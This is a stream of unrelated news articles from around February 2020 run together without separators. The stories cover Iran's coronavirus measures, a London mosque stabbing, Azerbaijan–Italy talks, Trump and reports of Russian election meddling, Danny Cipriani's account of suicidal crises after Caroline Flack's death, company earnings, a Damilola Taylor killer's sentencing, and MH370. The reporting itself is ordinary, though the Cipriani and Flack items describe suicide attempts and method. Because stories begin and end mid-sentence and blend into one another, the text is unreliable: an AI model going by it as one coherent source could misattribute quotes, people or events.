conversation with Iran's Minister of Health Saeed Namaki. In another telephone conversation with Bahram Sarmast, the governor of Qom Province, Larijani stressed the need to convene a provincial Security Council meeting and to take preventive measures as soon as possible. In yet another call, Larijani urged Iran's minister of education to arrange for necessary advice to be given to students and their parents about how to prevent or handle an infection. Separately on Thursday, Iran's Deputy Health Minister Qassem Janbabaei, who has traveled to Qom to supervise preventive measures, said wearing face masks was not necessary for all the people in a normal situation and that only medical staff needed protective gear. He said people did not need to panic and only had to observe hygienic procedures. South Korea confirms first death On Wednesday, South Korea's Centers for Disease Control and Prevention announced the first death in the country of an individual due to the infection with the new virus. It also reported 22 new cases, which pushed the total number of the infected people to 104, saying that most of the new cases confirmed were in the southeastern city Daegu, where an individual infected with the virus had attended Church services there. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address M uslims in London feared a mosque attack had "been brewing" following the Christchurch attack in New Zealand, a community leader has said. Shaukat Warraich, chief executive of non-theological group Faith Associates, said worshippers are now "looking over their shoulders" as they come to prayer, with many women and children opting to stay at home rather than venture out to mosques after dark. Mr Warraich said he spoke to the London Central Mosque in Regent's Park about their security measures only an hour before Thursday's attack, in which a man knifed the muezzin , who makes the call to prayer, at around 3pm. Metropolitan Police said the incident was not believed to be terror-related. The victim, Raafat Maglad , who is in his 70s, was taken to hospital with non life-threatening injuries. The Christchurch attacks has left many Muslims on edge / AFP via Getty Images Mr Warraich said many Muslims had been on edge since the Christchurch mosque shootings in New Zealand last March, when 51 people were killed and many others injured by a white supremacist. He said: "Things have been brewing for some time now, since the Christchurch attacks (generally) the community has feared something like this. "Regent's Park is the most iconic mosque in London because of its size and location, but it is probably also the most secure in terms of what they have and resources and manpower. "But generally mosques are soft targets. Most don't have any security apart from some CCTV. Police are not treating the incident at Central London Mosque as terror-related / Getty Images "What we are seeing now is definitely a change in behaviour - women have stopped going and some children too, they have been advised by the menfolk not to come to prayer in the evenings and to worship at home instead, because there are concerns about being attacked at prayer or on the way to the mosques. "People are looking over their shoulders, 100%." Mr Warraich said others have stopped congregating around the entrance to mosques if they arrive late for prayers as they do not want to be considered a target. President of Azerbaijan Ilham Aliyev has met with President of the Senate of the Italian Republic Maria Elisabetta Alberti Casellati. President of the Senate Maria Elisabetta Alberti Casellati greeted President Ilham Aliyev. The Azerbaijani President and the President of the Italian Senate posed together for photographs. Maria Elisabetta Alberti Casellati recalled her visit to Azerbaijan and First Vice-President Mehriban Aliyeva`s visit to Rome. She noted that friendship between the two countries was rapidly expanding. Highlighting the Italian President`s official visit to Azerbaijan, Maria Elisabetta Alberti Casellati said that Azerbaijan-Italy cooperation, which is based on historical ties, was developing in all areas. President Ilham Aliyev stressed the importance of Italian President Sergio Mattarella`s official visit to Baku. The head of state said that this visit once again demonstrated that the bilateral relations were at a high level. The Azerbaijani President underlined that documents signed during his state visit to Italy were of great importance. President Ilham Aliyev pointed out that the Joint Declaration on Strengthening Multidimensional Strategic Partnership between the Republic of Azerbaijan and the Italian Republic would raise the bilateral ties to a new high level. It was particularly underlined that Italy was the main partner of Azerbaijan in political, economic and trade areas among the European countries. The sides emphasized the vital importance of the interparliamentary ties, and noted that Azerbaijan and Italy cooperate within the OSCE Parliamentary Assembly, PACE and other organizations. The significance of the successful implementation of the TAP project, as well as the participation of the Italian companies in energy and other projects in Azerbaijan was stressed. The sides then exchanged keepsakes. --- Follow us on Twitter @AzerNewsAz Donald Trump dismissed a report claiming his former acting Director of National Intelligence told Congress Russia wants him to win in November, claiming it's just another Democrat 'hoax.' 'Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7!' Trump lamented on Twitter Friday morning. The president's comments come after The New York Times published a report Thursday claiming Acting DNI Joseph Maguire told Congress during a classified briefing that the Kremlin wanted to see Trump win reelection because it would be better for their interests. Maguire was recently ousted from his acting post and U.S. Ambassador to Germany Richard Grenell was appointed in his stead as Trump continues to search for a permanent director. Donald Trump said reports that an intelligence community aides warned Congress that Russia wants him to win reelection is a 'misinformation campaign' and another 'hoax' created by Democrats He was responding to a report that during a classified hearing, the Intelligence Committee was briefed that Russia felt another four years of Trump would be better for their agenda Maguire's aide, according to the Times report, told the House Intelligence Committee that Russia was attempting to interfere in the 2020 elections on the side of getting Trump back for another four years. The committee members were briefed that Russia favors Trump and were told about its efforts to hack and attack election infrastructure and the Kremlin's continued attempts to use social media platforms in its campaign of distrust. Vladimir Putin's operatives want to both help Trump and create public doubts about the outcome of the election, the officials briefed lawmakers during the session about 'the integrity of our upcoming elections.' One lawmaker told the Daily Beast that the officials briefed them that: 'It continues with the same target, and the same purpose, and it's clear that they [the Russians] favor one candidate over the other. Trump was furious when he learned that Schiff had been briefed that intelligence officials believe Russia is trying to aid his re-election - and wrongly believed it was only the Democrat who had been briefed. The president believed the information would be used against him, sources told the New York Times. Meddling? A senior intelligence official told the House Intelligence Committee, which is headed by Trump's impeachment rival Adam Schiff, that Vladimir Putin's Russia is interfering in the 2020 election to secure a second term for Donald Trump Key figures: Rick Grenell, Donald Trump's ultra-loyal ambassador to Germany was named Wednesday as the new acting director of national intelligence, succeeding Joseph Maguire - whose aide told Congress that Russia wanted a second term for the president and was interfering to help Schiff was the lead Democratic house manager at Trump's impeachment trial, which ended in his acquittal earlier this month. In the wake of learning that Schiff had been briefed, Trump had a furious confrontation with the acting Director of National Intelligence, Joseph Maguire. Maguire was replaced Wednesday night by Rick Grenell, Trump's ultra-loyal ambassador to Germany. The New York Times reported that two Trump officials said the timing was a coincidence and not because of the row about the briefing. The official who told lawmakers Russia was meddling was named as Maguire's aide Shelby Pierson, who serves as the intelligence community's top election security official. Trump blew up at Maguire in the Oval Office last week over what the president perceived as staff disloyalty, citing Pierson's briefing. That ruined Maguire's chance of becoming the permanent intelligence chief, sources told The Washington Post. Trump incorrectly believed Pierson gave the information exclusively to Schiff and gave Maguire a 'dressing down' that left him 'despondent,' sources told the newspaper. Pierson chairs the Election Executive and Leadership Board, which was created in July 2019 to specifically deal with election security matters. She gave the closed-door briefing to the House Intelligence Committee last Thursday. One of Trump's Republican allies on the committee told him what she said, the Post reported. Some of Trump's biggest defenders during the House impeachment inquiry including Reps. Devin Nunes and Elise Stefanik sit on the intelligence panel. The New York Times said that Pierson's conclusion had set off a row among members of the Intel Committee. Republicans on the committee, including ranking member Devin Nunes, attended the briefing and challenged Pierson about the conclusion. They argued that Trump had taken action against Russia and improved European security. 'The Republicans went nuts,' one member said. The intelligence community briefing will inevitably create new tensions between Trump and his spies. He has publicly voiced his distrust at findings with which he does not agree, telling them in 2019 to 'go back to school' and accusing them of underrating the threat from Iran and over-emphasizing that from North Korea during a public briefing to Congress. Mike Quigley, a Democratic member of the Intel Committee, said he feared that Pierson and others would be put in jeopardy over saying Russia favors Trump. 'If you don't agree with the king, you're gone,' Quigley told The Daily Beast. 'That has a chilling effect on people being willing to tell the truth, and that makes us less safe.' Amid Maguire's removal, two senior members of his staff both resigned - the 'principal executive,' Andrew Hallman, and the general counsel, Jason Klitenic. It is unclear if both were still in post as Grenell assumed his new role Thursday. Grenell is one of Trump's closest loyalists, and will also make history as the first openly gay cabinet secretary. It puts a hawkish pro-Trump figure in charge of the intelligence community but will not - apparently - be a permanent move. Grenell used his twitter account to say: 'The President will announce the Nominee (not me) sometime soon.' The appointment was instantly divisive. 'He is probably the most unqualified individual ever appointed to this position,' said Larry Pfeiffer, a former longtime intelligence agency official who helped establish the Office of the Director of National Intelligence in response to Sept. 11, 2001, terrorist attacks. But Grenell has support among the president's backers on Capitol Hill. 'Ric has a proven track record of fighting for our country, and now, he will work every day to make sure Americans are safe,' House Minority Leader Kevin McCarthy, R-Ca., said on Twitter. Maguire had until March 12 to remain as acting DNI, a role he took when Dan Coats quit as the last permanent leader of the intelligence community. Both briefed: Devin Nunes, the Republican ranking member of the House Intelligence Committee, and its Democratic chairman Adam Schiff were both told about Russia's interference by the intelligence officials - but Trump incorrectly believed only Schiff was told Key issue: Grenell used his twitter feed to issue a warning to the UK after it gave the go-ahead to Huawei building part of its 5G mobile phone network in defiance of U.S. demands to lock it out Trump tweeted that Maguire could have another role in the administration; he had previously been director of the National Counterterrorism Center after a career in the Navy as a SEAL and chief of special operations. Maguire and the wider intelligence community was thrust to the center of the news agenda by the whistleblower letter which accused Trump of wrongdoing in his relations with Ukraine. Grenell is eligible to become acting director because he is already on a Senate-confirmed role as ambassador to Germany, having been voted through 56-42, and was sworn in by Mike Pence with his partner Matt Lashey at his side, becoming the highest-ranking gay official in a Republican administration. Grenell has not worked in the intelligence community before but was also floated as a possible director of national security at the White House, a job which went to Robert O'Brien after the sudden departure of John Bolton. He has already been outspoken on one intelligence issue, saying there is a need to prevent Huawei having access to 5G cell phone networks in the West. He used Twitter to issue a direct warning to the UK this week that it faces losing access to U.S. intelligence - which he will now control - after prime minister Boris Johnson allowed Huawei to be part of building the country's 5G network Trump had a strained relationship with Coats, who had endorsed the U.S. intelligence community's assessment that Russia interfered in the 2016 presidential election with the objective of promoting Trump over his Democratic rival, Hillary Clinton. Grenell has also led U.S. opposition to Nord Stream 2, a pipeline which was intended to increase the flow of natural gas from Russia to Germany. The U.S. opposes it on strategic grounds, and has used sanctions to try to derail the project. And the move comes at a time when the Department of Justice has a prosecutor - John Durham - carrying out a criminal investigation into the origins of the Trump-Russia probe. The focus of the probe has reported to be on the analysis which led to the conclusion that Russia had interfered in the election in favor of Trump. It has also apparently focused on the actions of Obama-appointed intelligence officials John Brennan, the CIA director, and James Clapper, the director of national intelligence, who have both been frequent Trump targets and are outspoken public critics of the president. Rugby star Danny Cipriani has revealed he once tried to buy a gun to kill himself in a video posted on Instagram following ex-girlfriend Caroline Flack's death. Cipriani, 32, opened up about his past mental-health struggles in a heartbreaking 18-minute video posted on his Instagram account to his 211,000 followers. The famous rugby fly-half said that he had been talking with Ms Flack, who killed herself over the weekend, for the past three to four months. He said that the ex-Love Island host tried to contact Cipriani last Friday night, just hours before she tragically took her own life. Cipriani said he felt 'safe' sharing everything with Ms Flack, and claimed 'it was ultimately embarrassment and shame that killed her'. Cipriani was unable to take the call or respond to her message because he was playing for Gloucester against Exeter in the Gallagher Premiership. In the video, the former England superstar revealed that he went through 'severe depression' aged 22, and contemplated committing suicide. He spoke of causing himself 'pain' with 'meaningless sex or painkillers or drinking alcohol'. Cipriani said: 'Someone that I loved as a person very dearly and someone I'm very close to has decided to take her own life, as everyone knows. 'I've been speaking to her for the last three, four months. We've always been in contact since we were together, since we weren't. 'It's always been a loving friendship. 'I was so vulnerable with her in my moment, when we first met, and I told her everything about me because I felt safe with her. Danny Cipriani (pictured) opens up about his own struggles in a heartbreaking 18-minute video posted on his Instagram account to his 211,000 followers Cipriani started dating Caroline Flack (pictured in the car) after the former Love Island presenter's engagement to Apprentice star Andrew Brady ended last year Danny Cipriani's struggle: How the star's off-field issues saw him end up on the wrong side of the law Danny Cipriani revealed on Instagram how he battled 'severe depression' when he was 22. He claimed to have caused himself 'pain' through 'meaningless sex or painkillers or drinking alcohol'. His off-field issues put him on the wrong side of his clubs, and eventually of the law: March 6, 2008: Cipriani, then a rising star of rugby union, was dropped from the England squad ahead of a game with Scotland due to 'inappropriate behaviour'. He was pictured heading into a nightclub, though it was said that he was not drinking. February 19, 2011: Playing for Melbourne Rebels, he was fined by the club when he helped himself to a bottle of alcohol at a Prahran nightclub follows a heavy loss by the Rebels. He later served a one-match ban for breaking his team curfew. June 1, 2015: Cipriani smashes his Mercedes into a taxi down Imperial Road, Fulham, after a night out. June 24, 2016: He is found guilty of drinking and driving from the June 1, 2015 incident, after court heard his eyes were 'glazed'. Cipriani was said to be nearly twice the drink-drive limit, and was ordered to pay 7,620 and banned from driving for 18 months. August 15, 2018: Cipriani was arrested and charged for common assault, larceny, assault on police, resisting arrest, and being disorderly on licensed premises in Jersey. It was reported at the time that Cipriani got into an altercation with a bouncer outside The Little Drift nightclub. August 16, 2018: He pleaded guilty to common assault and resisting arrest from the August 15, 2018 incident, and was ordered to pay 250 compensation to a police officer. The other charges were dropped. Advertisement 'I told her all the things I was embarrassed and shameful about. And she made me feel OK. 'And ultimately it was embarrassment and shame that killed her. 'So I'm telling everyone now what my most embarrassing and shameful moments are, because I know she knew I had the strength to do this.' An emotional Cipriani said: 'When I was 22, I was going through severe depression. I was seeing a psychiatrist. 'I met a guy who was at a nightclub, he ended up being around. 'I knew he was a bad man, was in the scene, trying to make his way in whatever he was doing. I decided at this point it was time for me to take my own life and I tried to buy a gun from him. 'And I pulled out. Then I tried to buy it again, but I pulled out. 'This went on for two months. I couldn't do it. Because I had some fight in me. 'That was something that I went through and I've had to carry that.' It is believed the former Wasps player had joined the Melbourne Rebels when he considered buying a gun. Cipriani was in a public and high-profile relationship with model Kelly Brook between 2008 and 2010. He then dated actress Lindsay Lohan in 2010, and Katie Price in 2011. In 2015, the rugby union back told The Sun how he had suffered with depression for nine months after splitting up with Ms Brook, and had sought professional help. Cipriani started dating Ms Flack after the former Love Island presenter's engagement to Apprentice star Andrew Brady ended last year. Reports from May told how the pair had decided to remain friends after their romance ended, before Ms Flack started dating Lewis Burton. Cipriani said of his ex-girlfriend: 'She knew everything about me. 'The reason I'm saying this is because embarrassment and shame is not something that should make you do this. 'It's how we treat people and look after everyone, cause everyone has embarrassment and shame to some sort of degree. 'Whatever it is, we be kind, we try to be gentle.' The famous rugby union fly-half (pictured from March 2018) said that he had been talking with Ms Flack, who killed herself over the weekend, for the past three to four months Cipriani called Ms Flack (pictured leaving Highbury Corner Magistrates' Court last December) as 'so kind and so beautiful' and 'never malicious' Miss Flack killed herself at home (pictured) in Stoke Newington, East London Cipriani said that Ms Flack, who he described as 'so kind and so beautiful' and 'never malicious' contacted him last Friday night before she killed herself. He claimed: 'I have to see the meaning she decided to call me in her last moments, which was with her two best friends. How much love and trust did she have for me, because we had been vulnerable and shared together? 'She felt it was a safe space, so I thank her for that, cause I felt safe with her. 'She texted me on Friday and said that she had to plead guilty - and I had a game.' He finished the post by revealing that he intended to publish a voice note she left him 15 days ago, saying: 'I have to release this for me. 'This is for me, this is for her. I miss her. 'I have written her messages she is not going to read because her phone is not on. Well, it is but she is not here. But I have had to voice things to her.' 'You can make jokes. I don't care because it is not going to affect me. She has given me that. Because she has given me that, I am sharing it with you.' Ms Flack was found dead in her flat in northeast London last Saturday, aged 40. An inquest this week heard how the radio and TV presenter, who won Strictly Come Dancing in 2014 and hosted The X Factor in 2015, hanged herself. Mollie Grosberg, a TV producer, posted this picture of Ms Flack in an Instagram story. It is thought to be the last picture of the former Love Island host, taken on Valentine's Day The FINAL Instagram message that Caroline Flack wrote and was advised NOT to post online Ms Flack's mother shared the message in her local paper, the Eastern Daily Press (pictured), in Norfolk where she grew up For a lot of people, being arrested for common assault is an extreme way to have some sort of spiritual awakening but for me it's become the normal. I've been pressing the snooze button on many stresses in my life - for my whole life. I've accepted shame and toxic opinions on my life for over 10 years and yet told myself it's all part of my job. No complaining. The problem with brushing things under the carpet is .... they are still there and one day someone is going to lift that carpet up and all you are going to feel is shame and embarrassment. On December the 12th 2019 I was arrested for common assault on my boyfriend... Within 24 hours my whole world and future was swept from under my feet and all the walls that I had taken so long to build around me, collapsed. I am suddenly on a different kind of stage and everyone is watching it happen. I have always taken responsibility for what happened that night. Even on the night. But the truth is... It was an accident. I've been having some sort of emotional breakdown for a very long time. But I am NOT a domestic abuser. We had an argument and an accident happened. An accident. The blood that someone SOLD to a newspaper was MY blood and that was something very sad and very personal. The reason I am talking today is because my family can't take anymore. I've lost my job. My home. My ability to speak. And the truth has been taken out of my hands and used as entertainment. I can't spend every day hidden away being told not to say or speak to anyone. I'm so sorry to my family for what I have brought upon them and for what my friends have had to go through. I'm not thinking about 'how I'm going to get my career back.' I'm thinking about how I'm going to get mine and my family's life back. Advertisement Her body was discovered by father Ian, and she was identified by sister Jody. She had been charged with common assault by the Crown Prosecution Service following an altercation with her boyfriend Mr Burton, 27, last December. Although former tennis professional Mr Burton did not want the prosecution to proceeds, the CPS doubled-down earlier this month. Ms Flack's team have blasted the CPS, accusing it of deliberately pursuing her to a 'show trial' despite knowing she was of a fragile state of mind. Francis Ridley, of management company Money Talent Management, said following her passing: 'The Crown Prosecution Service pursued this when they knew not only how very vulnerable Caroline was but also that the alleged victim did not support the prosecution and had disputed the CPS version of events. 'The CPS should look at themselves today and how they pursued a show trial that was not only without merit but not in the public interest - and ultimately resulted in significant distress to Caroline. Our thoughts are with Caroline's family at this time. 'In recent months Caroline had been under huge pressure because of an ongoing case and potential trial which has been well reported.' Chennai, Feb 21 : Vice President M.Venkaiah Naidu on Friday called for efforts towards a cultural renaissance, to promoting the country's rich cultural and spiritual heritage. He also appealed to the youth to fight against the poison of social evils such as corruption, casteism, illiteracy and poverty inflicting modern day society. Speaking at the Isha Yoga Centre in Coimbatore, about 500 km from here, on the occasion of Maha Shivaratri, Naidu said India is the only country that believes in 'Vasudhaiva Kutumbakam', the principle of the whole world as one family . He said there is the need to pass on the wisdom of ancient sages that guided the people to the next generations. Mentioning the twelve Jyotirlingas spread all over the India, the Vice President said that this exemplifies that India has always been a single cultural entity since ancient times. Naidu said in this competitive world people are increasingly turning to yoga for better health and also for gaining inner peace. Yoga is an art and science and should not be viewed from any political or religious prism. "I appreciate the noble efforts for yoga promotion by Sadhguru and other great sages of India," he said. The 2020 battle for the Democratic Party's presidential nomination is off to a fast though uncertain start with strong showings in the first two contests by Vermont Senator Bernie Sanders and former South Bend, Indiana, mayor Pete Buttigieg. Sanders, a progressive candidate, is getting a strong challenge from several moderate contenders in what experts believe could be a long race that could go all the way to the party's nominating convention in July. VOA National correspondent Jim Malone has more from Washington. VOA Khmer's Phy Sopheada narrates in Khmer. The injunction, which was issued earlier this month by Judge Brian Diamond, stipulates that no new residents shall be allowed to move into Trinity Sober Living, a two-story home at 111 N. Grant St., until further order from the court, according to Hinsdale officials. People already living at the facility can remain on the property. Share this article Whatsapp Facebook Twitter Linkedin Riska Rahman (The Jakarta Post) Jakarta Fri, February 21, 2020 15:58 691 7f440ff09e92db75a02bbad2065d614a 1 Business Vale-Indonesia-INCO,Vale,nickel,revenue,earnings,Business-performance,mining Free Publicly listed nickel producer PT Vale Indonesia has recorded higher revenue and earnings before interest and tax (EBIT) last year as nickel prices went up in the second half of 2019. Despite booking a 5-percent year-on-year (yoy) decrease in nickel sales to 72,044 tons of nickel in matte last year, the companys sales grew by 1 percent to US$782 million. The increase nickel prices clearly had a positive impact on our financial performance, compensating for the lack of production in the first semester of 2019, Vale Indonesia president director and CEO Nico Kanter said in a statement obtained by The Jakarta Post on Thursday. Realized nickel prices in 2019 averaged US$10,855 per ton, 6 percent higher than in 2018, the company said in the statement. However, its cash and cash equivalent went down by $52.1 million to $249 million in 2019 as capital expenditure (capex) skyrocketed by 99 percent to $83.8 million. The Indonesian government has been compelling miners to build smelters and process raw materials domestically prior to exporting through a ban on nickel ore exports to support the downstream industry. Read also: Mining investment expected to reach five-year high Despite the lower cash, Vale Indonesia managed to lower its cost of revenue to $665.5 million, down 1 percent yoy from 2018s $672.9 million. As a result, the subsidiary of Brazilian mining giant Vale SA booked an 8-percent yoy increase in EBIT to $89.1 million. Despite our lower production last year, we could still manage our costs carefully, Nico said, adding that the company was optimistic that it could maintain the production rate this year while continuing to maintain cost efficiency. Undated Metropolitan Police handout of Ricky Preddie. One of the two brothers convicted over the killing of Damilola Taylor has been returned to jail amid accusations of failings by the probation service. One of the killers of 10-year-old Damilola Taylor has been jailed for four years after driving into a female police officer. Ricky Preddie was 13 and his brother Danny 12 when they killed the schoolboy in November 2000 in a crime that shocked the nation. The pair were jailed for eight years for Damilolas manslaughter in 2006. Ricky Preddie, 32, also known as Ricky Johnson, is back behind bars after pleading guilty to causing serious injury by dangerous driving; driving whilst disqualified; failing to stop; and driving without insurance at Harrow Crown Court on Thursday. Damilola Taylor headshot, Nigerian boy murdered in London, Britain, photo on black Scotland Yard said he was sentenced to four years imprisonment and banned from driving for 12 years, which will start when he is released from jail. He was driving an Alfa Romeo in Wembley, north London, when police tried to stop his car on the afternoon of November 6 last year. Preddie stopped the car but reversed along the pavement before crashing into a police vehicle, causing leg and neck injuries to a Pc who was getting out. He made his escape but the car was found nearby shortly after and he was arrested on November 12. Read more: Murdered schoolboy Damilola Taylor's brutal, mysterious death revisited in BBC film Damilola Taylors father backs appeal to trace arson killer of boy, seven Damilola: Our Loved Boy leaves heartbroken viewers in tears Detective Superintendent Ray Keating said: In escaping from officers who had pulled him over, Johnsons driving was extremely reckless and resulted in an officer being seriously injured. He then drove off from the scene, callously leaving the officer needing urgent medical attention. The officer has since returned to full duties, and I would like to commend her courage and strength since the incident. An exterior view of Harrow Crown Court, London. PRESS ASSOCIATION Photo. Picture date: Friday March 27, 2015. Photo credit should read: Yui Mok/PA Wire While she has recovered physically, the incident has taken an emotional and psychological toll. Sadly, officers are injured whilst protecting the public far too often. Damilola had moved to Britain from Nigeria a few months before he was jabbed in the thigh with a broken beer bottle by a gang of youths as he walked home from the local library after school. The youngster was found bleeding to death in a stairwell near his home in Peckham, south London, where local workmen tried to save his life. A Victorian government scheme that used voluntary loss limits in a bid to minimise poker machine harm has been deemed a failure, with negligible uptake from punters and some venues actively discouraging patrons from using the program. A review of the YourPlay program by University of Adelaide researchers released late on Friday found that only 0.01 per cent of the money fed into Victorian poker machines in 2018 was done while using the voluntary pre-commitment cards. Victorians lost $2.7 billion on poker machines last year. The report found just 0.01 per cent of poker machine turnover was done using YourPlay cards. Credit:Peter Braig YourPlay was introduced in 2015 at a cost of $197 million, mostly paid for by the gambling industry, but was heavily criticised at the time because of its voluntary nature and the fact punters could choose to keep gambling even after reaching their pre-set limit. The government-commissioned review found YourPlay delivered reasonable harm-reduction benefits to people using the scheme, including making it easier for them to stick to loss limits. Rio Tinto will appoint three new independent non-executive directors to the board. Hinda Gharbi, executive vice president of Reservoir Infrastructure at Schlumberger Limited (Schlumberger), and Jennifer Nason, a Global Chairman at JP Morgan Chase Co (JP Morgan), will join the board with effect from 1 March 2020. Ngaire Woods, Professor of Global Economic Governance at Oxford University, will join with effect from 1 September 2020. The new directors broaden the experience of the board, bringing complementary skills and international expertise across diverse backgrounds in natural resources, finance, technology, governance and public policy. These appointments bring Rio Tinto's board back to full strength at twelve directors. Hinda Gharbi is executive vice president of Reservoir Infrastructure at Schlumberger, a position she assumed in February, 2019. Ms Gharbi has been on the Schlumberger executive committee for the last three years and has been with the company for 24 years, working in various engineering, functional and line management positions, including health and safety, human resources, technology development and operations across France, Malaysia, Nigeria, Thailand, the United Kingdom and the United States. Hinda has dual Australian-Tunisian nationality. Jennifer Nason is a Global Chairman at JP Morgan, with over 30 years' experience of corporate finance and capital markets. For the past 17 years, she has led the Technology, Media and Telecommunications global client practice, based in the USA. During her time at JP Morgan, she has also worked in the metals and mining sector team in Australia. Jennifer has dual Australian-US nationality and is a current director and former chair of the American Australian Association. Ngaire Woods CBE is the founding Dean of the Blavatnik School of Government, Professor of Global Economic Governance and the Founder and Director of the Global Economic Governance Programme at Oxford University. She has been a Fellow of University College, Oxford for the past 17 years. She has also been a visiting lecturer at Harvard University and the Central European University. As a recognised expert in public policy, international development and governance, she has served as an adviser to the African Development Bank, the Asian Infrastructure Investment Bank, the Center for Global Development, the International Monetary Fund and the European Union. She serves on the board of the Stephen A. Schwarzman Education Foundation and as a Rhodes Trustee. Ngaire is a dual New Zealand and British citizen. Rio Tinto chairman Simon Thompson said "I am delighted to welcome Hinda, Jennifer and Ngaire and look forward to benefiting from their insights and expertise in natural resources, finance, technology, governance and public policy. Their diverse international experience will further strengthen the Rio Tinto board." Rio Tinto confirms that, with respect to each of the new non-executive directors, there are no matters to be disclosed pursuant to Rule 9.6.13(1) (6) of the Listing Rules of the UK Listing Authority. LEI: 213800YOEO5OQ72G2R82 Classification: 3.1. Additional regulated information required to be disclosed under the laws of a Member State. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005113/en/ Contacts: media.enquiries@riotinto.com riotinto.com Follow @RioTinto on Twitter Media Relations, United Kingdom Illtud Harri M +44 7920 503 600 David Outhwaite T +44 20 7781 1623 M +44 7787 597 493 Media Relations, Americas Matthew Klar T +1 514 608 4429 Media Relations, Asia Grant Donald T +65 6679 9290 M +65 9722 6028 Media Relations, Australia Jonathan Rose T +61 3 9283 3088 M +61 447 028 913 Matt Chambers T +61 3 9283 3087 M +61 433 525 739 Jesse Riseborough T +61 8 6211 6013 M +61 436 653 412 Investor Relations, United Kingdom Menno Sanderse T: +44 20 7781 1517 M: +44 7825 195 178 David Ovington T +44 20 7781 2051 M +44 7920 010 978 Investor Relations, Australia Natalie Worley T +61 3 9283 3063 M +61 409 210 462 Amar Jambaa T +61 3 9283 3627 M +61 472 865 948 Rio Tinto plc 6 St James's Square London SW1Y 4AD United Kingdom T +44 20 7781 2000 Registered in England No. 719885 Rio Tinto Limited Level 7, 360 Collins Street Melbourne 3000 Australia T +61 3 9283 3333 Registered in Australia ABN 96 004 458 404 This announcement is authorised for release to the market by Steve Allen, Rio Tinto's Group Company Secretary. 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PAYTAH operates under the legal framework of the European Payment Services Directive established to provide safer and more innovative payment services across the EU. SOURCE Paytah Payment Solutions Related Links https://paytah.com President of Azerbaijan Ilham Aliyev and President of the Council of Ministers of the Italian Republic Giuseppe Conte have held a one-on-one meeting. Prior to the meeting, a welcome ceremony was held for President Ilham Aliyev. A guard of honor was lined up for the President of Azerbaijan. President of the Council of Ministers of Italy Giuseppe Conte greeted President Ilham Aliyev. The national anthems of Azerbaijan and Italy were played. The chief of the guard of honor reported to the President of Azerbaijan. President of Azerbaijan Ilham Aliyev and President of the Council of Ministers of Italy Giuseppe Conte reviewed the guard of honor. State and government officials of Italy were introduced to President Ilham Aliyev, while members of the Azerbaijani delegation were introduced to President of the Council of Ministers Giuseppe Conte. Then President Ilham Aliyev and President of the Council of Ministers Giuseppe Conte posed together for photographs. They noted that political relations between Azerbaijan and Italy were at a high level. The sides underlined that the two countries enjoy strong friendly ties. The importance of signing the Joint Declaration on Strengthening Multidimensional Strategic Partnership was stressed, adding that this document would raise the bilateral relations to a higher level. The leading role of Azerbaijan in fighting against radicalism, terrorism and extremism as well as the country`s secular traditions were hailed. They pointed out that the two countries were successfully cooperating in the energy sphere, stressing that this year the TAP project, the last segment of the Southern Gas Corridor, entered its final phase. It was also noted that the Italian companies were actively involved in the development of the non-oil sector and diversification of the economy in Azerbaijan. The sides emphasized that the numerous documents, which to be signed during this visit, would pave the way for further developing cooperation between the two countries. They said that the business forum, which to be held on February 21, would create greater opportunities. Italy`s support for the development of Azerbaijan`s relations with the European Union and NATO was underlined at the meeting. The two countries` joint participation in the peacekeeping operations in Afghanistan was also mentioned. The sides also discussed cooperation between Azerbaijan and Italy in the fields of science, education, student exchanges and tourism. The role of the Heydar Aliyev Foundation in developing cultural relations between the two countries was emphasized. It was noted that Italy declared 2020 the Year of Azerbaijani Culture. The head of state invited the President of the Council of Ministers of Italy to pay an official visit to Azerbaijan. Giuseppe Conte accepted the invitation with pleasure. The meeting then continued in an expanded format with the participation of delegations. Loading "Absolutely not, Im not leaning towards that at all. What I was trying to illustrate by my comments was that ... people will make those allegations," Inspector Thompson said. "Maybe they are scorned members of the community themselves that have had dealings with domestic violence in the past and thats the sort of things that they say in response to an incident like this. "What I was trying to illustrate is that if there are people out there making the comments, such as I have just described, then please come forward and substantiate those claims; help us with the information we need to build that picture for the coroner." Red Rose Foundation chief executive Betty Taylor said there was only one way to describe the comments: "victim-blaming at its worst". "I do understand the job police have, they have a really difficult job with domestic violence, but were now talking about not investigating domestic violence its actually murder-suicide,'' Ms Taylor said. "Nothing the victim does should end her life tragically. Women have a right to walk away from a relationship of any description." Commissioner Katarina Carroll publicly apologised for Inspector Thompson's comments during an on-air interview with ABC Radio Brisbane on Friday morning. Later, she released a statement in which she repeated the apology on behalf of the Queensland Police Service. Loading "Our officers are committed to addressing the scourge of domestic and family violence, and particularly focused on supporting victims," she said. "To ensure public confidence, I have asked Detective Inspector Thompson to step aside from the investigation." In a further press conference, Ms Carroll said she had phoned the "distraught and gutted" detective on Friday morning, who had volunteered to remove himself from the investigation. "We want to remove the noise and concentrate on the issue ... there was a mother and three children who have been murdered," she said. Queensland Police Commissioned Officers Union president Mark Reid described Inspector Thompson as a "committed, devoted and caring husband and father", with a "very strong personal stance against the crime of domestic and family violence". Ms Carroll hoped the "brilliant" investigator would not see any long-term damage to his career over the incident and said the relationship with domestic and family violence services would also stand firm. "We have the same ... view about this. We want to stop it and stop it as soon as possible," she said. "Our challenge is that it's not happening. Our challenge is, in fact, that I think it's under-reported." The Police Commissioner met with the Clarke family on Friday afternoon to offer her condolences and apologies as the investigation continued into "every person and every agency" involved in their lives before the murder. The top levels of the Malaysian government believed the downing of Malaysia Airlines Flight 370 nearly six years ago was an act of suicidal mass murder, former Australian Prime Minister Tony Abbott has told Sky News Australia. In what has been one of the biggest aviation mysteries in the world, the Malaysian Airlines flight-MH-370 disappeared in 2014 with as many as 239 persons on board, with 227 of them being passengers and 12 crew members. Abbott was the Prime Minister at the time of the incident. A search coordinated by Australia on Malaysia's behalf had been initiated but later called off in 2017 after no trace of the aircraft was found in a more than 710,000 square kilometre radius of the Indian Ocean. "My very clear understanding, from the very top levels of the Malaysian government, is that from very, very early on, they thought it was a murder-suicide by the pilot," Abbott said in a Sky News Australia documentary. "I'm not going to say who said what to whom, but let me reiterate - I want to be absolutely crystal clear: it was understood at the highest levels that this was almost certainly murder-suicide by the pilot,' he added. The former Australian PM said he had "no reason to accept" that the "Malaysians allegedly didn't want the murder-suicide theory pursued because they were embarrassed about one of their pilots doing this". In May 2017, another search effort was initiated by a private company after it reached an agreement with the Malaysian government, but that too was called off after no 